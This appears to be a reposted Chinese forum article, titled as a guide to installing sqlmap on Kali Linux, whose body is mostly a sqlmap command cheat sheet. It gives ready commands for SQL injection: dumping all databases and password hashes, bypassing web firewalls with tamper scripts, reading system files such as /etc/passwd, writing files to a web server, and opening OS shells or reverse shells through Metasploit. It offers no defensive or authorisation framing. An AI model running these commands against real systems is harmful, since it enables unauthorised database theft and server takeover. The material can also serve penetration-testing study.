搜索

[28064] 2020-01-16_Kaliliunx如何配置SqlMap下载安装和Python环境？

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-19
2020-01-16_Kaliliunx如何配置SqlMap下载安装和Python环境？ K a l i   l i u n x 如 何 配 置 S q l M a p 下 载 安 装 和 P y t h o n 环 境 ？ O t s 安 全   2 0 2 0 - 0 1 - 1 6 s q l m a p 是 一 个 开 源 渗 透 测 试 工 具 ， 它 可 以 自 动 检 测 和 利 用 S Q L 注 入 漏 洞 并 接 管 数 据 库 服 务 器 的 过 程 。 它 具 有 强 大 的 检 测 引 擎 ， 针 对 最 终 渗 透 测 试 仪 的 众 多 细 分 功 能 以 及 从 数 据 库 指 纹 识 别 ， 从 数 据 库 获 取 数 据 到 访 问 基 础 文 件 系 统 以 及 通 过 外 出 在 操 作 系 统 上 执 行 命 令 的 广 泛 开 关 。 带 内 连 接 。 c o o k i e 注 入 ： s q l m a p . p y   - u   注 入 点   - - c o o k i e   " 参 数 "   - - t a b l e s   - - l e v e l   2 P O S T 登 录 框 注 入 ： s q l m a p . p y   - r   从 文 件 读 取 数 据   - p   指 定 的 参 数   - - t a b l e s s q l m a p . p y   - u   登 录 的 地 址   - - f o r m s   自 动 判 断 注 入 s q l m a p . p y   - u   登 录 的 地 址   - - d a t a   " 指 定 参 数 " 绕 过 w a f 防 火 墙 ： s q l m a p . p y   - u   注 入 点   - v   3   - - d b s   - - b a t c h   - - t a m p e r   s p a c e 2 m o r e h a s h . p y , s p a c e 2 h a s h . p y , b a s e 6 4 e n c o d e . p y , c h a r e n c o d e . p y - u   # 注 入 点 - g   谷 歌 搜 索 - f   # 指 纹 判 别 数 据 库 类 型 - b   # 获 取 数 据 库 版 本 信 息 - p   # 指 定 可 测 试 的 参 数 ( ? p a g e = 1 & i d = 2   - p   “ p a g e , i d ” ) - D   “ ”   # 指 定 数 据 库 名 - T   “ ”   # 指 定 表 名 - C   “ ”   # 指 定 字 段 - s   “ ”   # 保 存 注 入 过 程 到 一 个 文 件 , 还 可 中 断 ， 下 次 恢 复 在 注 入 ( 保 存 ： - s   “ x x . l o g ” 　 　 恢 复 : - s   “ x x . l o g ”   – r e s u m e ) – c o l u m n s   # 列 出 字 段
– c u r r e n t - u s e r   # 获 取 当 前 用 户 名 称 – c u r r e n t - d b   # 获 取 当 前 数 据 库 名 称 – u s e r s   # 列 数 据 库 所 有 用 户 – p a s s w o r d s   # 数 据 库 用 户 所 有 密 码 – p r i v i l e g e s   # 查 看 用 户 权 限 ( – p r i v i l e g e s   - U   r o o t ) - U   # 指 定 数 据 库 用 户 – d b s   # 列 出 所 有 数 据 库 – t a b l e s   - D   “ ”   # 列 出 指 定 数 据 库 中 的 表 – c o l u m n s   - T   “ u s e r ”   - D   “ m y s q l ”   # 列 出 m y s q l 数 据 库 中 的 u s e r 表 的 所 有 字 段 – d u m p - a l l   # 列 出 所 有 数 据 库 所 有 表 – e x c l u d e - s y s d b s   # 只 列 出 用 户 自 己 新 建 的 数 据 库 和 表 – d u m p   - T   “ ”   - D   “ ”   - C   “ ”   # 列 出 指 定 数 据 库 的 表 的 字 段 的 数 据 ( – d u m p   - T   u s e r s   - D   m a s t e r   - C   s u r n a m e ) – d u m p   - T   “ ”   - D   “ ”   – s t a r t   2   – t o p   4   #   列 出 指 定 数 据 库 的 表 的 2 - 4 字 段 的 数 据 – d b m s   # 指 定 数 据 库 ( M y S Q L , O r a c l e , P o s t g r e S Q L , M i c r o s o f t   S Q L   S e r v e r , M i c r o s o f t   A c c e s s , S Q L i t e , F i r e b i r d , S y b a s e , S A P   M a x D B ) – o s   # 指 定 系 统 ( L i n u x , W i n d o w s ) - - s q l   - s h e l l   写 s h e l l - - d e l a y   延 迟 的 时 间 - - s a f e - f r e q   次 数 - v   # 详 细 的 等 级 ( 0 - 6 ) 0 ： 只 显 示 P y t h o n 的 回 溯 ， 错 误 和 关 键 消 息 。 1 ： 显 示 信 息 和 警 告 消 息 。 2 ： 显 示 调 试 消 息 。 3 ： 有 效 载 荷 注 入 。 4 ： 显 示 H T T P 请 求 。 5 ： 显 示 H T T P 响 应 头 。 6 ： 显 示 H T T P 响 应 页 面 的 内 容
– p r i v i l e g e s   # 查 看 权 限 – i s - d b a   # 是 否 是 数 据 库 管 理 员 – r o l e s   # 枚 举 数 据 库 用 户 角 色 – u d f - i n j e c t   # 导 入 用 户 自 定 义 函 数 （ 获 取 系 统 权 限 ） – u n i o n - c h e c k   # 是 否 支 持 u n i o n   注 入 – u n i o n - c o l s   # u n i o n   查 询 表 记 录 – u n i o n - t e s t   # u n i o n   语 句 测 试 – u n i o n - u s e   # 采 用 u n i o n   注 入 – u n i o n - t e c h   o r d e r b y   # u n i o n 配 合 o r d e r   b y – m e t h o d   “ P O S T ”   – d a t a   “ ”   # P O S T 方 式 提 交 数 据 ( – m e t h o d   “ P O S T ”   – d a t a   “ p a g e = 1 & i d = 2 ″ ) – c o o k i e   “ 用 ; 号 分 开 ”   # c o o k i e 注 入 ( – c o o k i e s = ” P H P S E S S I D = m v i j o c b g l q 6 p i 4 6 3 r l g k 1 e 4 v 5 2 ;   s e c u r i t y = l o w ” ) – r e f e r e r   “ ”   # 使 用 r e f e r e r 欺 骗 ( – r e f e r e r   “ h t t p : / / w w w . b a i d u . c o m ” ) – u s e r - a g e n t   “ ”   # 自 定 义 u s e r - a g e n t – p r o x y   “ h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 1 8 ″   # 代 理 注 入 – s t r i n g   “ ”   # 指 定 关 键 词 – t h r e a d s   　 　   # 采 用 多 线 程 ( – t h r e a d s   3 ) – s q l - s h e l l   # 执 行 指 定 s q l 命 令 – s q l - q u e r y   # 执 行 指 定 的 s q l 语 句 ( – s q l - q u e r y   “ S E L E C T   p a s s w o r d   F R O M   m y s q l . u s e r   W H E R E   u s e r   =   ‘ r o o t ’   L I M I T   0 ,   1 ″   ) – f i l e - r e a d   # 读 取 指 定 文 件 – f i l e - w r i t e   # 写 入 本 地 文 件 ( – f i l e - w r i t e   / t e s t / t e s t . t x t   – f i l e - d e s t   / v a r / w w w / h t m l / 1 . t x t ; 将 本 地 的 t e s t . t x t 文 件 写 入 到 目 标 的 1 . t x t ) – f i l e - d e s t   # 要 写 入 的 文 件 绝 对 路 径 – o s - c m d = i d   # 执 行 系 统 命 令 – o s - s h e l l   # 系 统 交 互 s h e l l – o s - p w n   # 反 弹 s h e l l ( – o s - p w n   – m s f - p a t h = / o p t / f r a m e w o r k / m s f 3 / ) – m s f - p a t h =   # m a t e s p l o i t 绝 对 路 径 ( – m s f - p a t h = / o p t / f r a m e w o r k / m s f 3 / ) – o s - s m b r e l a y   #
– o s - b o f   # – r e g - r e a d   # 读 取 w i n 系 统 注 册 表 – p r i v - e s c   # – t i m e - s e c =   # 延 迟 设 置   默 认 – t i m e - s e c = 5   为 5 秒 - p   “ u s e r - a g e n t ”   – u s e r - a g e n t   “ s q l m a p / 0 . 7 r c 1   ( h t t p : / / s q l m a p . s o u r c e f o r g e . n e t ) ”   # 指 定 u s e r - a g e n t 注 入 – e t a   # 盲 注 / p e n t e s t / d a t a b a s e / s q l m a p / t x t / c o m m o n - c o l u m n s . t x t 　 　 字 段 字 典 c o m m o n - o u t p u t s . t x t c o m m o n - t a b l e s . t x t   表 字 典 k e y w o r d s . t x t o r a c l e - d e f a u l t - p a s s w o r d s . t x t u s e r - a g e n t s . t x t w o r d l i s t . t x t   1 ) 判 断 当 前 用 户 是 否 是 d b a p y t h o n   s q l m a p . p y   - u   " u r l "   - - i s - d b a   - v   1 2 ) - - u s e r s : 列 出 数 据 库 管 理 系 统 用 户 p y t h o n   s q l m a p . p y   - u   " u r l "   - - u s e r s   - v   0 3 ) - - p a s s w o r d s : 数 据 库 用 户 密 码 ( h a s h ) p y t h o n   s q l m a p . p y   - u   " u r l "   - - p a s s w o r d s   - v   0 p y t h o n   s q l m a p . p y   - u   " u r l "   - - p a s s w o r d s   - U   s a   - v   0 4 ) 查 看 用 户 权 限 p y t h o n   s q l m a p . p y   - u   " u r l "   - - p r i v i l e g e s   - v   0 p y t h o n   s q l m a p . p y   - u   " u r l "   - - p r i v i l e g e s   - U   p o s t g r e s   - v   0 5 ) - - d b s 可 以 利 用 的 数 据 库
p y t h o n   s q l m a p . p y   - u   " u r l "   - - d b s   - v   0 6 ) - - t a b l e s 列 数 据 库 表 p y t h o n   s q l m a p . p y   - u   " u r l "   - - t a b l e s   - D   " i n f o r m a t i o n _ s c h e a m " - D : 指 定 数 据 名 称 7 ) - - c o l u m n s   列 出 表 中 的 列 名 p y t h o n   s q l m a p . p y   - u   " u r l "   - - c o l u m n s   - T   " u s e r "   - D   " m y s q l "   - v   1 - T : 指 定 表 名 ， - D : 指 定 库 名 8 ) - - d u m p 列 表 中 指 定 列 的 内 容 p y t h o n   s q l m a p . p y   - u   " u r l "   - - d u m p   - T   " u s e r s "   - D   " t e s t d b " - C : 可 以 指 定 字 段 指 定 列 的 范 围 为 2 到 4 p y t h o n   s q l m a p . p y   - u   " u r l "   - - d u m p   - T   " u s e r s "   - D   " t e s t d b "   - - s t a r t   2   - - s t o p   4   - v   0 9 ) - - d u m a p - a l l 列 出 所 有 数 据 库 ， 所 有 表 内 容 p y t h o n   s q l m a p . p y   - u   " u r l "   - - d u m p - a l l   - v   0 只 列 出 用 户 自 己 新 建 的 数 据 库 和 表 的 内 容 p y t h o n   s q l m a p . p y   - u   " u r l "   - - d u m p - a l l   - - e x c l u d e - s y s d b s   - v   0 1 0 ) - - f i l e 读 取 文 件 内 容 [ l o a d _ f i l e ( ) 函 数 ] p y t h o n   s q l m a p . p y   - u   " u r l "   - - f i l e   / e t c / p a s s w o r d 1 1 ) 执 行 S Q L p y t h o n   s q l m a p . p y   - u   " u r l "   - - s q l - s h e l l 1 2 ) - p   指 定 参 数 p y t h o n   s q l m a p . p y   - u   " u r l "   - v   1   - p   " i d " - p 可 以 指 定 多 参 数 - p   " c a t , i d " 1 3 ) P O S T 提 交 p y t h o n   s q l m a p . p y   - u   " u r l "   - - m e t h o d   P O S T   - - d a t a   " i d = 1 " 1 4 ) C O O K I E 提 交
p y t h o n   s q l m a p . p y   - u   " u r l "   - - c o o k i e   " i d = 1 "   - v   1 c o o k i e 值 可 以 由 T a m p e r D a t a 抓 取 1 5 ) r e f e r 欺 骗 p y t h o n   s q l m a p . p y   - u   " u r l "   - - r e f e r   " u r l "   - v   3 1 6 ) 使 用 自 定 义 u s e r - a g e n t 或 者 u s e r - a g e n t s . t x t p y t h o n   s q l m a p . p y   - u   " u r l "   - - u s e r - a g e n t   " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   5 . 1 ) "   - v   3 p y t h o n   s q l m a p . p y   - u   " u r l "   - v   1   - a   " . / t x t / u s e r - a g e n t s . t x t " 1 7 ) 使 用 多 线 程 猜 解 p y t h o n   s q l m a p . p y   - u   " u r l "   - v   1   - - c u r r e n t - u s e r   - - t h r e a d s   3 1 8 ) 指 定 数 据 库 ， 绕 过 S Q L M A P 的 自 动 检 测 p y t h o n   s q l m a p . p y   - u   " u r l "   - v   2   - - d b m s   " P o s t g r e S Q L " 1 9 ) 指 定 操 作 系 统 绕 过 S Q L M A P 自 动 检 测 p y t h o n   s q l m a p . p y   - u   " u r l "   - v   2   - - o s   " W i n d o w s " 2 0 ) - - p r e f i x   a n d   - - p o s t f i x 自 定 义 p a y l o a d p y t h o n   s q l m a p . p y   - u   " u r l "   - v   3   - p   " i d "   - - p r e f i x   " ' "   - - p o s t f i x   " a n d   ' t e s t ' = ' t e s t " 2 1 ) u n i o n 注 入 测 试 p y t h o n   s q l m a p . p y   - u   " u r l "   - - u n i o n - t e s t   - v   - 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理